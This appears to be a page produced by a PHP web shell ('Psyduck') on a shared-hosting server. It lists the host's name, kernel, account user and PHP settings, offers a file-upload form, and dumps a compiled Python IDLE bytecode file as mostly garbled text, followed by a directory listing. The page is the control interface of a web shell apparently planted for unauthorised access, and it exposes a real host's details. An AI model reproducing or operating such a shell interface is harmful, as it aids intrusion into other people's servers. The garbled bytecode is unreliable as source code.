Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /opt/alt/python37/lib64/python3.7/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python37/lib64/python3.7/idlelib/__pycache__/browser.cpython-37.pyc
B

� fz �@s�dZddlZddlZddlZddlmZddlmZddlm	Z	m
Z
mZddlm
Z
daddd�ZGd	d
�d
�ZGdd�de
�ZGd
d�de
�Zdd�Zedkr�eej�dkr�ddlmZedddd�ddlmZee�dS)a8Module browser.

XXX TO DO:

- reparse when source changed (maybe just a button would be OK?)
    (or recheck on window popup)
- add popup menu with more options (e.g. doc strings, base classes, imports)
- add base classes to class browser tree
- finish removing limitation to x.py files (ModuleBrowserTreeItem)
�N)�idleConf)�pyshell)�TreeNode�TreeItem�ScrolledCanvas)�ListedToplevelcCs�g}x�|��D]�\}}|dks(|j|krt|d�r�|jr�|j|kr�g}xP|jD]F}t|�td�krh|}n"|j}|j|jkr�|j�d|��}|�|�qNW|jd�d�|��7_|�|�qW|S)aTransform a child dictionary to an ordered sequence of objects.

    The dictionary maps names to pyclbr information objects.
    Filter out imported objects.
    Augment class names with bases.
    The insertion order of the dictionary is assumed to have been in line
    number order, so sorting is not necessary.

    The current tree only calls this once per child_dict as it saves
    TreeItems once created.  A future tree and tests might violate this,
    so a check prevents multiple in-place augmentations.
    N�super��.z({})z, )	�items�module�hasattrr�name�type�append�format�join)Z
child_dict�modnameZobs�key�objZsupersZsupZsname�r�4/opt/alt/python37/lib64/python3.7/idlelib/browser.py�transform_childrens
rc@sBeZdZdZddd�dd�Zddd�Zd	d
�Zdd�Zd
d�ZdS)�
ModuleBrowserz1Browse module classes and functions in IDLE.
    F)�_htest�_utestcCs$||_||_||_||_|��dS)azCreate a window for browsing a module's structure.

        Args:
            master: parent for widgets.
            path: full path of file to browse.
            _htest - bool; change box location when running htest.
            -utest - bool; suppress contents when running unittest.

        Global variables:
            file_open: Function used for opening a file.

        Instance variables:
            name: Module name.
            file: Full path and module with .py extension.  Used in
                creating ModuleBrowserTreeItem as the rootnode for
                the tree and subsequently in the children.
        N)�master�pathrr�init)�selfrrrrrrr�__init__As
zModuleBrowser.__init__NcCs|j��|j��dS)z&Dismiss the window and the tree nodes.N)�topZdestroy�node)rZeventrrr�closeYs
zModuleBrowser.closec	Cs�|j}|js|jstjnt�|�}|jatj	�
�t|�|_}|�
d|j�|�d|j�|jr�|�d|��|��df�|��|��t��}t�|d�d}t||ddd	�}|jjdd
d�|��}t|jd|�|_}|js�|��|� �dS)
z3Create browser tkinter widgets, including the tree.ZWM_DELETE_WINDOWz<Escape>z+%d+%d��Znormal�
backgroundr�)ZbgZhighlightthicknessZ	takefocusZboth)�expandZfillN)!rrrr�flistZPyShellFileList�open�	file_open�pyclbrZ_modules�clearrr!Zprotocolr#ZbindZgeometryZwinfo_rootxZwinfo_rooty�settitleZ	focus_setrZCurrentThemeZGetHighlightr�frameZpack�rootnoderZcanvasr"�updater')	r�rootr(r!Zthemer%Zsc�itemr"rrrr^s.

zModuleBrowser.initcCs*|j�dtj�|j��|j�d�dS)zSet the window title.zModule Browser - zModule BrowserN)r!Zwm_title�osr�basenameZwm_iconname)rrrrr-}szModuleBrowser.settitlecCs
t|j�S)z7Return a ModuleBrowserTreeItem as the root of the tree.)�ModuleBrowserTreeItemr)rrrrr/�szModuleBrowser.rootnode)N)	�__name__�
__module__�__qualname__�__doc__r r#rr-r/rrrrr:s
rc@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)r5z~Browser tree for Python module.

    Uses TreeItem as the basis for the structure of the tree.
    Used by both browsers.
    cCs
||_dS)zdCreate a TreeItem for the file.

        Args:
            file: Full path and module name.
        N)�file)rr:rrrr �szModuleBrowserTreeItem.__init__cCstj�|j�S)z5Return the module name as the text string to display.)r3rr4r:)rrrr�GetText�szModuleBrowserTreeItem.GetTextcCsdS)z'Return the name of the icon to display.�pythonr)rrrr�GetIconName�sz!ModuleBrowserTreeItem.GetIconNamecCsdd�|��D�S)z*Return ChildBrowserTreeItems for children.cSsg|]}t|��qSr)�ChildBrowserTreeItem)�.0rrrr�
<listcomp>�sz4ModuleBrowserTreeItem.GetSubList.<locals>.<listcomp>)�listchildren)rrrr�
GetSubList�sz ModuleBrowserTreeItem.GetSubListcCs>tj�|jdd��dkrdStj�|j�s0dSt|j�dS)z6Open a module in an editor window when double clicked.���Nz.py)r3r�normcaser:�existsr*)rrrr�
OnDoubleClick�s
z#ModuleBrowserTreeItem.OnDoubleClickcCstj�|jdd��dkS)z!Return True if Python (.py) file.rCNz.py)r3rrDr:)rrrr�IsExpandable�sz"ModuleBrowserTreeItem.IsExpandablecCsntj�|j�\}}tj�|�\}}tj�|�dkr6gSyt�||gtj�}Wnt	k
rbgSXt
||�S)z5Return sequenced classes and functions in the module.z.py)r3r�splitr:�splitextrDr+Z
readmodule_ex�sys�ImportErrorr)r�dir�baserZextZtreerrrrA�sz"ModuleBrowserTreeItem.listchildrenN)r6r7r8r9r r;r=rBrFrGrArrrrr5�sr5c@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)r>zsBrowser tree for child nodes within the module.

    Uses TreeItem as the basis for the structure of the tree.
    cCs ||_|j|_t|tj�|_dS)z5Create a TreeItem for a pyclbr class/function object.N)rr�
isinstancer+ZFunction�
isfunction)rrrrrr �szChildBrowserTreeItem.__init__cCs$|j}|jrd|dSd|SdS)z1Return the name of the function/class to display.zdef z(...)zclass N)rrO)rrrrrr;�szChildBrowserTreeItem.GetTextcCs|jr
dSdSdS)z'Return the name of the icon to display.r<ZfolderN)rO)rrrrr=�sz ChildBrowserTreeItem.GetIconNamecCs|jjikS)z+Return True if self.obj has nested objects.)r�children)rrrrrG�sz!ChildBrowserTreeItem.IsExpandablecCsdd�t|jj�D�S)z*Return ChildBrowserTreeItems for children.cSsg|]}t|��qSr)r>)r?rrrrr@�sz3ChildBrowserTreeItem.GetSubList.<locals>.<listcomp>)rrrP)rrrrrB�szChildBrowserTreeItem.GetSubListc	Cs<yt|jj�}|�|jj�Wnttfk
r6YnXdS)z2Open module with file_open and position to lineno.N)r*rr:Zgotoline�lineno�OSError�AttributeError)rZeditrrrrF�s
z"ChildBrowserTreeItem.OnDoubleClickN)
r6r7r8r9r r;r=rGrBrFrrrrr>�sr>cCsHttj�dkrtjd}nt}Gdd�dt�}dd�}t||dd�dS)Nr&c@seZdZdd�ZdS)z'_module_browser.<locals>.Nested_in_funccSsdS)Nrrrrr�nested_in_class��z7_module_browser.<locals>.Nested_in_func.nested_in_classN)r6r7r8rTrrrr�Nested_in_func�srVcSsGdd�d�}dS)Nc@seZdZdS)z;_module_browser.<locals>.closure.<locals>.Nested_in_closureN)r6r7r8rrrr�Nested_in_closure�srWr)rWrrr�closure�sz _module_browser.<locals>.closureT)r)�lenrJ�argv�__file__rr)�parentr:rVrXrrr�_module_browser�sr]�__main__r&)�mainzidlelib.idle_test.test_browser�F)�	verbosity�exit)�run)N)r9r3r+rJZidlelib.configrZidlelibrZidlelib.treerrrZidlelib.windowrr*rrr5r>r]r6rYrZZunittestr_Zidlelib.idle_test.htestrcrrrr�<module>
s&
 M4-
Name
Size
Permissions
Options
__init__.cpython-37.opt-1.pyc
0.501 KB
-rw-r--r--
__init__.cpython-37.opt-2.pyc
0.147 KB
-rw-r--r--
__init__.cpython-37.pyc
0.501 KB
-rw-r--r--
__main__.cpython-37.opt-1.pyc
0.268 KB
-rw-r--r--
__main__.cpython-37.opt-2.pyc
0.198 KB
-rw-r--r--
__main__.cpython-37.pyc
0.268 KB
-rw-r--r--
autocomplete.cpython-37.opt-1.pyc
6.637 KB
-rw-r--r--
autocomplete.cpython-37.opt-2.pyc
5.271 KB
-rw-r--r--
autocomplete.cpython-37.pyc
6.637 KB
-rw-r--r--
autocomplete_w.cpython-37.opt-1.pyc
10.773 KB
-rw-r--r--
autocomplete_w.cpython-37.opt-2.pyc
10.033 KB
-rw-r--r--
autocomplete_w.cpython-37.pyc
10.83 KB
-rw-r--r--
autoexpand.cpython-37.opt-1.pyc
2.76 KB
-rw-r--r--
autoexpand.cpython-37.opt-2.pyc
2.027 KB
-rw-r--r--
autoexpand.cpython-37.pyc
2.76 KB
-rw-r--r--
browser.cpython-37.opt-1.pyc
9.268 KB
-rw-r--r--
browser.cpython-37.opt-2.pyc
6.663 KB
-rw-r--r--
browser.cpython-37.pyc
9.268 KB
-rw-r--r--
calltip.cpython-37.opt-1.pyc
5.441 KB
-rw-r--r--
calltip.cpython-37.opt-2.pyc
3.858 KB
-rw-r--r--
calltip.cpython-37.pyc
5.441 KB
-rw-r--r--
calltip_w.cpython-37.opt-1.pyc
6.023 KB
-rw-r--r--
calltip_w.cpython-37.opt-2.pyc
5.112 KB
-rw-r--r--
calltip_w.cpython-37.pyc
6.023 KB
-rw-r--r--
codecontext.cpython-37.opt-1.pyc
8.491 KB
-rw-r--r--
codecontext.cpython-37.opt-2.pyc
5.566 KB
-rw-r--r--
codecontext.cpython-37.pyc
8.525 KB
-rw-r--r--
colorizer.cpython-37.opt-1.pyc
10.025 KB
-rw-r--r--
colorizer.cpython-37.opt-2.pyc
7.98 KB
-rw-r--r--
colorizer.cpython-37.pyc
10.025 KB
-rw-r--r--
config.cpython-37.opt-1.pyc
29.172 KB
-rw-r--r--
config.cpython-37.opt-2.pyc
19.484 KB
-rw-r--r--
config.cpython-37.pyc
29.172 KB
-rw-r--r--
config_key.cpython-37.opt-1.pyc
11.073 KB
-rw-r--r--
config_key.cpython-37.opt-2.pyc
9.687 KB
-rw-r--r--
config_key.cpython-37.pyc
11.073 KB
-rw-r--r--
configdialog.cpython-37.opt-1.pyc
76.771 KB
-rw-r--r--
configdialog.cpython-37.opt-2.pyc
47.32 KB
-rw-r--r--
configdialog.cpython-37.pyc
76.771 KB
-rw-r--r--
debugger.cpython-37.opt-1.pyc
13.886 KB
-rw-r--r--
debugger.cpython-37.opt-2.pyc
13.738 KB
-rw-r--r--
debugger.cpython-37.pyc
13.886 KB
-rw-r--r--
debugger_r.cpython-37.opt-1.pyc
13.448 KB
-rw-r--r--
debugger_r.cpython-37.opt-2.pyc
11.113 KB
-rw-r--r--
debugger_r.cpython-37.pyc
13.571 KB
-rw-r--r--
debugobj.cpython-37.opt-1.pyc
5.056 KB
-rw-r--r--
debugobj.cpython-37.opt-2.pyc
5.056 KB
-rw-r--r--
debugobj.cpython-37.pyc
5.056 KB
-rw-r--r--
debugobj_r.cpython-37.opt-1.pyc
1.971 KB
-rw-r--r--
debugobj_r.cpython-37.opt-2.pyc
1.971 KB
-rw-r--r--
debugobj_r.cpython-37.pyc
1.971 KB
-rw-r--r--
delegator.cpython-37.opt-1.pyc
1.25 KB
-rw-r--r--
delegator.cpython-37.opt-2.pyc
1.152 KB
-rw-r--r--
delegator.cpython-37.pyc
1.25 KB
-rw-r--r--
dynoption.cpython-37.opt-1.pyc
2.237 KB
-rw-r--r--
dynoption.cpython-37.opt-2.pyc
1.866 KB
-rw-r--r--
dynoption.cpython-37.pyc
2.237 KB
-rw-r--r--
editor.cpython-37.opt-1.pyc
45.513 KB
-rw-r--r--
editor.cpython-37.opt-2.pyc
43.657 KB
-rw-r--r--
editor.cpython-37.pyc
45.598 KB
-rw-r--r--
filelist.cpython-37.opt-1.pyc
3.297 KB
-rw-r--r--
filelist.cpython-37.opt-2.pyc
3.265 KB
-rw-r--r--
filelist.cpython-37.pyc
3.322 KB
-rw-r--r--
format.cpython-37.opt-1.pyc
13.125 KB
-rw-r--r--
format.cpython-37.opt-2.pyc
9.489 KB
-rw-r--r--
format.cpython-37.pyc
13.125 KB
-rw-r--r--
grep.cpython-37.opt-1.pyc
7.608 KB
-rw-r--r--
grep.cpython-37.opt-2.pyc
4.977 KB
-rw-r--r--
grep.cpython-37.pyc
7.608 KB
-rw-r--r--
help.cpython-37.opt-1.pyc
10.133 KB
-rw-r--r--
help.cpython-37.opt-2.pyc
7.429 KB
-rw-r--r--
help.cpython-37.pyc
10.174 KB
-rw-r--r--
help_about.cpython-37.opt-1.pyc
7.165 KB
-rw-r--r--
help_about.cpython-37.opt-2.pyc
6.069 KB
-rw-r--r--
help_about.cpython-37.pyc
7.165 KB
-rw-r--r--
history.cpython-37.opt-1.pyc
3.314 KB
-rw-r--r--
history.cpython-37.opt-2.pyc
2.118 KB
-rw-r--r--
history.cpython-37.pyc
3.314 KB
-rw-r--r--
hyperparser.cpython-37.opt-1.pyc
6.591 KB
-rw-r--r--
hyperparser.cpython-37.opt-2.pyc
5.314 KB
-rw-r--r--
hyperparser.cpython-37.pyc
6.591 KB
-rw-r--r--
idle.cpython-37.opt-1.pyc
0.331 KB
-rw-r--r--
idle.cpython-37.opt-2.pyc
0.331 KB
-rw-r--r--
idle.cpython-37.pyc
0.331 KB
-rw-r--r--
iomenu.cpython-37.opt-1.pyc
13.457 KB
-rw-r--r--
iomenu.cpython-37.opt-2.pyc
13 KB
-rw-r--r--
iomenu.cpython-37.pyc
13.457 KB
-rw-r--r--
macosx.cpython-37.opt-1.pyc
7.416 KB
-rw-r--r--
macosx.cpython-37.opt-2.pyc
5.285 KB
-rw-r--r--
macosx.cpython-37.pyc
7.416 KB
-rw-r--r--
mainmenu.cpython-37.opt-1.pyc
3.38 KB
-rw-r--r--
mainmenu.cpython-37.opt-2.pyc
2.92 KB
-rw-r--r--
mainmenu.cpython-37.pyc
3.38 KB
-rw-r--r--
multicall.cpython-37.opt-1.pyc
14.587 KB
-rw-r--r--
multicall.cpython-37.opt-2.pyc
12.277 KB
-rw-r--r--
multicall.cpython-37.pyc
14.643 KB
-rw-r--r--
outwin.cpython-37.opt-1.pyc
5.92 KB
-rw-r--r--
outwin.cpython-37.opt-2.pyc
4.275 KB
-rw-r--r--
outwin.cpython-37.pyc
5.92 KB
-rw-r--r--
parenmatch.cpython-37.opt-1.pyc
6.186 KB
-rw-r--r--
parenmatch.cpython-37.opt-2.pyc
4.676 KB
-rw-r--r--
parenmatch.cpython-37.pyc
6.186 KB
-rw-r--r--
pathbrowser.cpython-37.opt-1.pyc
3.655 KB
-rw-r--r--
pathbrowser.cpython-37.opt-2.pyc
3.518 KB
-rw-r--r--
pathbrowser.cpython-37.pyc
3.655 KB
-rw-r--r--
percolator.cpython-37.opt-1.pyc
3.434 KB
-rw-r--r--
percolator.cpython-37.opt-2.pyc
3.434 KB
-rw-r--r--
percolator.cpython-37.pyc
3.568 KB
-rw-r--r--
pyparse.cpython-37.opt-1.pyc
11.366 KB
-rw-r--r--
pyparse.cpython-37.opt-2.pyc
7.871 KB
-rw-r--r--
pyparse.cpython-37.pyc
11.707 KB
-rw-r--r--
pyshell.cpython-37.opt-1.pyc
41.261 KB
-rw-r--r--
pyshell.cpython-37.opt-2.pyc
38.597 KB
-rw-r--r--
pyshell.cpython-37.pyc
41.388 KB
-rw-r--r--
query.cpython-37.opt-1.pyc
12.515 KB
-rw-r--r--
query.cpython-37.opt-2.pyc
9.856 KB
-rw-r--r--
query.cpython-37.pyc
12.515 KB
-rw-r--r--
redirector.cpython-37.opt-1.pyc
6.604 KB
-rw-r--r--
redirector.cpython-37.opt-2.pyc
3.253 KB
-rw-r--r--
redirector.cpython-37.pyc
6.604 KB
-rw-r--r--
replace.cpython-37.opt-1.pyc
9.139 KB
-rw-r--r--
replace.cpython-37.opt-2.pyc
6.363 KB
-rw-r--r--
replace.cpython-37.pyc
9.139 KB
-rw-r--r--
rpc.cpython-37.opt-1.pyc
19.145 KB
-rw-r--r--
rpc.cpython-37.opt-2.pyc
15.682 KB
-rw-r--r--
rpc.cpython-37.pyc
19.229 KB
-rw-r--r--
run.cpython-37.opt-1.pyc
17.263 KB
-rw-r--r--
run.cpython-37.opt-2.pyc
14.846 KB
-rw-r--r--
run.cpython-37.pyc
17.31 KB
-rw-r--r--
runscript.cpython-37.opt-1.pyc
6.904 KB
-rw-r--r--
runscript.cpython-37.opt-2.pyc
5.699 KB
-rw-r--r--
runscript.cpython-37.pyc
6.904 KB
-rw-r--r--
scrolledlist.cpython-37.opt-1.pyc
5.276 KB
-rw-r--r--
scrolledlist.cpython-37.opt-2.pyc
5.276 KB
-rw-r--r--
scrolledlist.cpython-37.pyc
5.276 KB
-rw-r--r--
search.cpython-37.opt-1.pyc
5.792 KB
-rw-r--r--
search.cpython-37.opt-2.pyc
3.358 KB
-rw-r--r--
search.cpython-37.pyc
5.792 KB
-rw-r--r--
searchbase.cpython-37.opt-1.pyc
7.849 KB
-rw-r--r--
searchbase.cpython-37.opt-2.pyc
5.153 KB
-rw-r--r--
searchbase.cpython-37.pyc
7.849 KB
-rw-r--r--
searchengine.cpython-37.opt-1.pyc
6.681 KB
-rw-r--r--
searchengine.cpython-37.opt-2.pyc
5.069 KB
-rw-r--r--
searchengine.cpython-37.pyc
6.681 KB
-rw-r--r--
sidebar.cpython-37.opt-1.pyc
10.729 KB
-rw-r--r--
sidebar.cpython-37.opt-2.pyc
9.315 KB
-rw-r--r--
sidebar.cpython-37.pyc
10.729 KB
-rw-r--r--
squeezer.cpython-37.opt-1.pyc
9.297 KB
-rw-r--r--
squeezer.cpython-37.opt-2.pyc
6.185 KB
-rw-r--r--
squeezer.cpython-37.pyc
9.333 KB
-rw-r--r--
stackviewer.cpython-37.opt-1.pyc
4.936 KB
-rw-r--r--
stackviewer.cpython-37.opt-2.pyc
4.936 KB
-rw-r--r--
stackviewer.cpython-37.pyc
4.936 KB
-rw-r--r--
statusbar.cpython-37.opt-1.pyc
1.903 KB
-rw-r--r--
statusbar.cpython-37.opt-2.pyc
1.903 KB
-rw-r--r--
statusbar.cpython-37.pyc
1.903 KB
-rw-r--r--
textview.cpython-37.opt-1.pyc
6.899 KB
-rw-r--r--
textview.cpython-37.opt-2.pyc
4.794 KB
-rw-r--r--
textview.cpython-37.pyc
6.899 KB
-rw-r--r--
tooltip.cpython-37.opt-1.pyc
6.416 KB
-rw-r--r--
tooltip.cpython-37.opt-2.pyc
4.832 KB
-rw-r--r--
tooltip.cpython-37.pyc
6.416 KB
-rw-r--r--
tree.cpython-37.opt-1.pyc
15.328 KB
-rw-r--r--
tree.cpython-37.opt-2.pyc
14.016 KB
-rw-r--r--
tree.cpython-37.pyc
15.328 KB
-rw-r--r--
undo.cpython-37.opt-1.pyc
10.517 KB
-rw-r--r--
undo.cpython-37.opt-2.pyc
10.517 KB
-rw-r--r--
undo.cpython-37.pyc
10.517 KB
-rw-r--r--
window.cpython-37.opt-1.pyc
3.12 KB
-rw-r--r--
window.cpython-37.opt-2.pyc
3.12 KB
-rw-r--r--
window.cpython-37.pyc
3.12 KB
-rw-r--r--
zoomheight.cpython-37.opt-1.pyc
2.732 KB
-rw-r--r--
zoomheight.cpython-37.opt-2.pyc
2.685 KB
-rw-r--r--
zoomheight.cpython-37.pyc
2.732 KB
-rw-r--r--
zzdummy.cpython-37.opt-1.pyc
1.182 KB
-rw-r--r--
zzdummy.cpython-37.opt-2.pyc
1.115 KB
-rw-r--r--
zzdummy.cpython-37.pyc
1.182 KB
-rw-r--r--